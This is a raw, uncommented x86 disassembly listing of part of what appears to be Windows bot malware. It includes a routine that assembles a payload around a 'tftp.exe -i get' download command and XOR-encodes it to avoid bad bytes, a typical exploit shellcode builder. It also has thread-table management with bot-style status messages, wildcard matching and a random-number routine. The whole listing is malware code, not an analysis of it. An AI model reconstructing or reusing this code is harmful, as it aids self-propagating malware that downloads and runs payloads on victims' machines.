sub_416ADE	proc near		; CODE XREF: sub_416BCD+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_416ABE
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_416AFB
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_416AFB:				; CODE XREF: sub_416ADE+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_417AB0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_417AB0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_4394A0, eax
		lea	eax, [edi+1]
		mov	dword_4394C1, eax
		lea	eax, [edi+17h]
		mov	dword_4394B9, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_43943C
		push	ebx
		mov	dword_4394CF, eax
		call	sub_417390
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_417390
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_4394C5
		push	esi
		call	sub_417390
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416ADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BB6	proc near		; CODE XREF: sub_416BCD+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_416ABE
		push	eax
		call	sub_416C3A
		add	esp, 0Ch
		retn
sub_416BB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BCD	proc near		; CODE XREF: sub_402B84+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_416BB6
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416BED
		cmp	eax, 0FFFFh
		jbe	short loc_416BF1

loc_416BED:				; CODE XREF: sub_416BCD+17j
		xor	eax, eax
		jmp	short loc_416C36
; ---------------------------------------------------------------------------

loc_416BF1:				; CODE XREF: sub_416BCD+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_416ABE
		add	eax, 101h
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_416ABE
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_416ADE
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416C55
		push	esi
		mov	edi, eax
		call	sub_417C3B
		add	esp, 24h
		mov	eax, edi
		pop	esi

loc_416C36:				; CODE XREF: sub_416BCD+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_416BCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C3A	proc near		; CODE XREF: sub_416BB6+Ep
					; sub_416C55+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416C43
		inc	ecx

loc_416C43:				; CODE XREF: sub_416C3A+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_416C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C55	proc near		; CODE XREF: sub_416BCD+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_416C74

loc_416C71:				; CODE XREF: sub_416C55+8j
					; sub_416C55+Ej ...
		inc	[ebp+arg_C]

loc_416C74:				; CODE XREF: sub_416C55+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_416C9C
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_416C95
		cmp	al, 0Dh
		jz	short loc_416C95
		cmp	al, 5Ch
		jz	short loc_416C95
		test	al, al
		jnz	short loc_416C9C

loc_416C95:				; CODE XREF: sub_416C55+32j
					; sub_416C55+36j ...
		add	[ebp+arg_C], 100h

loc_416C9C:				; CODE XREF: sub_416C55+28j
					; sub_416C55+3Ej
		push	[ebp+arg_C]
		call	sub_416C3A
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_416CB4
		cmp	eax, 0FFFFh
		jbe	short loc_416CBB

loc_416CB4:				; CODE XREF: sub_416C55+56j
		xor	eax, eax
		jmp	loc_416D59
; ---------------------------------------------------------------------------

loc_416CBB:				; CODE XREF: sub_416C55+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_489FE8
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_416CEB

loc_416CCF:				; CODE XREF: sub_416C55+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_416CE2
		cmp	al, 0Ah
		jz	short loc_416CE2
		cmp	al, 0Dh
		jz	short loc_416CE2
		cmp	al, 5Ch
		jnz	short loc_416CE6

loc_416CE2:				; CODE XREF: sub_416C55+7Fj
					; sub_416C55+83j ...
		inc	bl
		xor	edx, edx

loc_416CE6:				; CODE XREF: sub_416C55+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_416CCF

loc_416CEB:				; CODE XREF: sub_416C55+78j
		cmp	ecx, esi
		mov	byte_489FE8, bl
		ja	short loc_416D17
		push	15h
		push	offset loc_439424
		push	[ebp+arg_0]
		mov	byte_439431, cl
		mov	byte_439435, bl
		call	sub_417390
		add	esp, 0Ch
		push	15h
		jmp	short loc_416D38
; ---------------------------------------------------------------------------

loc_416D17:				; CODE XREF: sub_416C55+9Ej
		push	17h
		push	offset loc_43940C
		push	[ebp+arg_0]
		mov	word_43941A, cx
		mov	byte_43941F, bl
		call	sub_417390
		add	esp, 0Ch
		push	17h

loc_416D38:				; CODE XREF: sub_416C55+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416D54
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]

loc_416D46:				; CODE XREF: sub_416C55+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416D46

loc_416D54:				; CODE XREF: sub_416C55+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx

loc_416D59:				; CODE XREF: sub_416C55+61j
		pop	esi
		leave
		retn
sub_416C55	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D5C	proc near		; CODE XREF: sub_4060D0+227p
					; sub_407252+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_444EC0

loc_416D64:				; CODE XREF: sub_416D5C+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416D78
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_489C50
		jl	short loc_416D64
		jmp	short loc_416DC3
; ---------------------------------------------------------------------------

loc_416D78:				; CODE XREF: sub_416D5C+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_444EC0[esi]
		push	eax
		call	sub_418C10
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_4450C0[esi], eax
		and	dword_4450C4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_4450C8[esi], 0
		mov	dword_4450CC[esi], eax
		and	byte_4450D8[esi], 0
		pop	esi

loc_416DC3:				; CODE XREF: sub_416D5C+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416D5C	endp

; ---------------------------------------------------------------------------
byte_416DC7	db 55h			; DATA XREF: sub_40EE72+5C01o
		dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h
		dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h
		dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh
		dd 26Ch, 6A14C483h, 0F7E89000h,	5F021D94h, 0EC8B555Eh
		dd 200EC81h, 57560000h,	75FF006Ah, 95006810h, 75FF0043h
		dd 875FF0Ch, 0FF6840E8h, 14C483FFh, 0C0BEFF33h,	8000444Eh
		dd 3C74003Eh, 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h
		dd 68FFFFFEh, 437E7Ch, 446E850h, 16A0000h, 0FE00858Dh
		dd 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh
		dd 234C681h, 81470000h,	489C50FEh, 5FB07C00h
; ---------------------------------------------------------------------------
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416E97	proc near		; CODE XREF: sub_40EE72+4DD9p
					; sub_416F25+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_416F1F
		cmp	esi, 1F4h
		jge	short loc_416F1F
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_4450D4[esi]
		lea	edi, dword_4450D4[esi]
		nop
		call	near ptr 27E09C6h
		cmp	[edi], ebx
		jz	short loc_416ECF
		push	1
		pop	ebp

loc_416ECF:				; CODE XREF: sub_416E97+33j
		mov	[edi], ebx
		lea	edi, dword_4450C8[esi]
		mov	dword_4450C0[esi], ebx
		mov	dword_4450C4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416EF0
		push	eax
		call	sub_415419
		pop	ecx

loc_416EF0:				; CODE XREF: sub_416E97+50j
		mov	[edi], ebx
		lea	edi, dword_4450CC[esi]
		mov	byte ptr dword_444EC0[esi], bl
		mov	byte_4450D8[esi], bl
		push	dword ptr [edi]
		call	dword_43F700
		lea	esi, dword_4450D0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43F700
		mov	[esi], ebx
		pop	edi

loc_416F1F:				; CODE XREF: sub_416E97+Dj
					; sub_416E97+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416E97	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F25	proc near		; CODE XREF: sub_40AC42:loc_40AC66p
					; sub_40D3A5+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_444EC0

loc_416F31:				; CODE XREF: sub_416F25+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_416F42
		push	edi
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F42
		inc	ebx

loc_416F42:				; CODE XREF: sub_416F25+Fj
					; sub_416F25+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_489C50
		jl	short loc_416F31
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416F25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F57	proc near		; CODE XREF: sub_40EE72+1E3Dp
					; sub_40EE72+1EABp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4450C4

loc_416F6B:				; CODE XREF: sub_416F57+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_416F8D
		test	edi, edi
		jle	short loc_416F7F
		cmp	[esi], edi
		jz	short loc_416F7F
		cmp	ebx, edi
		jnz	short loc_416F8D

loc_416F7F:				; CODE XREF: sub_416F57+1Ej
					; sub_416F57+22j
		push	ebx
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F8D
		inc	[ebp+var_4]

loc_416F8D:				; CODE XREF: sub_416F57+1Aj
					; sub_416F57+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_489E54
		jl	short loc_416F6B
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F57	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FA4	proc near		; CODE XREF: sub_4071DB+Bp
					; sub_407252+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4450C0

loc_416FAB:				; CODE XREF: sub_416FA4+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_416FB4
		inc	eax

loc_416FB4:				; CODE XREF: sub_416FA4+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_489E50
		jl	short loc_416FAB
		retn
sub_416FA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FC3	proc near		; CODE XREF: sub_40EE72+5698p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_4450C0

loc_416FCD:				; CODE XREF: sub_416FC3+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_416FE6
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_489E50
		jl	short loc_416FCD
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_416FE6:				; CODE XREF: sub_416FC3+10j
		mov	eax, edx
		pop	esi
		retn
sub_416FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FEA	proc near		; CODE XREF: sub_40EE72+1070p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_417003
		push	[ebp+arg_1C]
		call	sub_41781F
		pop	ecx

loc_417003:				; CODE XREF: sub_416FEA+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_416F57
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41702F
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_417049
; ---------------------------------------------------------------------------

loc_41702F:				; CODE XREF: sub_416FEA+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4172B0
		add	esp, 10h

loc_417049:				; CODE XREF: sub_416FEA+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_417069
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_417069:				; CODE XREF: sub_416FEA+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		leave
		retn
sub_416FEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_417078	proc near		; CODE XREF: sub_401000+A5p
					; sub_40144A+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_4450D4[eax], ecx
		mov	dword_4450C0[eax], ecx
		mov	dword_4450C4[eax], ecx
		mov	dword_4450C8[eax], ecx
		mov	dword_4450CC[eax], ecx
		mov	dword_4450D0[eax], ecx
		mov	byte ptr dword_444EC0[eax], cl
		mov	byte_4450D8[eax], cl
		retn
sub_417078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170B5	proc near		; CODE XREF: sub_40EE72+6189p
					; sub_4171E3+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_4170BF:				; CODE XREF: sub_4170B5+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41711F
		cmp	eax, 1
		jnz	short loc_41711F
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41711F
		cmp	cl, 2Ah
		jz	short loc_417106
		cmp	cl, 3Fh
		jz	short loc_4170E9
		cmp	cl, 5Bh
		jz	short loc_4170EE
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_4170E9:				; CODE XREF: sub_4170B5+26j
		inc	[ebp+arg_4]
		jmp	short loc_417119
; ---------------------------------------------------------------------------

loc_4170EE:				; CODE XREF: sub_4170B5+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41714B
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417119
; ---------------------------------------------------------------------------

loc_417106:				; CODE XREF: sub_4170B5+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4171E3
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_417119:				; CODE XREF: sub_4170B5+37j
					; sub_4170B5+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4170BF
; ---------------------------------------------------------------------------

loc_41711F:				; CODE XREF: sub_4170B5+Ej
					; sub_4170B5+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41712F
		cmp	eax, 1
		jnz	short loc_417146
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41711F
; ---------------------------------------------------------------------------

loc_41712F:				; CODE XREF: sub_4170B5+6Dj
		cmp	eax, 1
		jnz	short loc_417146
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_417146
		cmp	byte ptr [esi],	0
		jnz	short loc_417146
		push	1
		pop	eax
		jmp	short loc_417148
; ---------------------------------------------------------------------------

loc_417146:				; CODE XREF: sub_4170B5+72j
					; sub_4170B5+7Dj ...
		xor	eax, eax

loc_417148:				; CODE XREF: sub_4170B5+8Fj
		pop	esi
		pop	ebp
		retn
sub_4170B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41714B	proc near		; CODE XREF: sub_4170B5+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41716C
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_41716C:				; CODE XREF: sub_41714B+19j
		push	ebx
		push	esi

loc_41716E:				; CODE XREF: sub_41714B+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41717C
		cmp	[ebp+var_4], eax
		jnz	short loc_4171C8

loc_41717C:				; CODE XREF: sub_41714B+2Aj
		test	edi, edi
		jnz	short loc_4171BD
		cmp	bl, 2Dh
		jnz	short loc_4171B1
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4171B1
		cmp	al, 5Dh
		jz	short loc_4171B1
		cmp	[ebp+var_4], edi
		jnz	short loc_4171B1
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4171BD
		cmp	bl, al
		jg	short loc_4171BD
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4171BD
; ---------------------------------------------------------------------------

loc_4171B1:				; CODE XREF: sub_41714B+38j
					; sub_41714B+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4171BD
		push	1
		pop	edi

loc_4171BD:				; CODE XREF: sub_41714B+33j
					; sub_41714B+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41716E
; ---------------------------------------------------------------------------

loc_4171C8:				; CODE XREF: sub_41714B+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4171D5
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_4171D5:				; CODE XREF: sub_41714B+82j
		cmp	edi, eax
		jnz	short loc_4171DE
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_4171DE:				; CODE XREF: sub_41714B+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_41714B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171E3	proc near		; CODE XREF: sub_4170B5+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_4171FF:				; CODE XREF: sub_4171E3+3Aj
		cmp	[eax], bl
		jz	short loc_41721F
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_417214
		cmp	cl, 2Ah
		jnz	short loc_41721F
		cmp	cl, 3Fh
		jnz	short loc_417217

loc_417214:				; CODE XREF: sub_4171E3+25j
		inc	eax
		mov	[edi], eax

loc_417217:				; CODE XREF: sub_4171E3+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4171FF
; ---------------------------------------------------------------------------

loc_41721F:				; CODE XREF: sub_4171E3+1Ej
					; sub_4171E3+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_41722A
		inc	dword ptr [esi]
		jmp	short loc_41721F
; ---------------------------------------------------------------------------

loc_41722A:				; CODE XREF: sub_4171E3+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_41724B
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41723C
		xor	eax, eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------

loc_41723C:				; CODE XREF: sub_4171E3+53j
		cmp	cl, bl
		jnz	short loc_41724B
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_41724B
		push	1
		pop	eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------

loc_41724B:				; CODE XREF: sub_4171E3+4Dj
					; sub_4171E3+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417295

loc_417259:				; CODE XREF: sub_4171E3+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_41725D:				; CODE XREF: sub_4171E3+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_417275
		cmp	cl, 5Bh
		jz	short loc_417275
		cmp	dl, bl
		jz	short loc_417275
		inc	eax
		mov	[edi], eax
		jmp	short loc_41725D
; ---------------------------------------------------------------------------

loc_417275:				; CODE XREF: sub_4171E3+82j
					; sub_4171E3+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41728C
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_417291
; ---------------------------------------------------------------------------

loc_41728C:				; CODE XREF: sub_4171E3+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_417291:				; CODE XREF: sub_4171E3+A7j
		cmp	eax, ebx
		jnz	short loc_417259

loc_417295:				; CODE XREF: sub_4171E3+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	[ebp+var_4], 1

loc_4172A8:				; CODE XREF: sub_4171E3+B6j
					; sub_4171E3+BCj
		mov	eax, [ebp+var_4]

loc_4172AB:				; CODE XREF: sub_4171E3+57j
					; sub_4171E3+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172B0	proc near		; CODE XREF: sub_401000+64p
					; sub_4010B5+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4172F0
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4172FD
; ---------------------------------------------------------------------------

loc_4172F0:				; CODE XREF: sub_4172B0+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_4172FD:				; CODE XREF: sub_4172B0+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4172B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417302	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D82+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_439550, eax
		retn
sub_417302	endp


; =============== S U B	R O U T	I N E =======================================



sub_41730C	proc near		; CODE XREF: sub_4010B5+CBp
					; sub_4010B5+13Fp ...
		mov	eax, dword_439550
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_439550, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41730C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417330	proc near		; CODE XREF: sub_4010B5+281p
					; sub_40144A+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417383
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417377
		neg	ecx
		and	ecx, 3
		jz	short loc_417359
		sub	edx, ecx

loc_417353:				; CODE XREF: sub_417330+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417353

loc_417359:				; CODE XREF: sub_417330+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417377
		rep stosd
		test	edx, edx
		jz	short loc_41737D

loc_417377:				; CODE XREF: sub_417330+18j
					; sub_417330+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417377

loc_41737D:				; CODE XREF: sub_417330+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417383:				; CODE XREF: sub_417330+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417390	proc near		; CODE XREF: sub_4010B5+22Dp
					; sub_4010B5+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_39		= byte ptr  41h

		push	ebp
		mov	ebp, esp
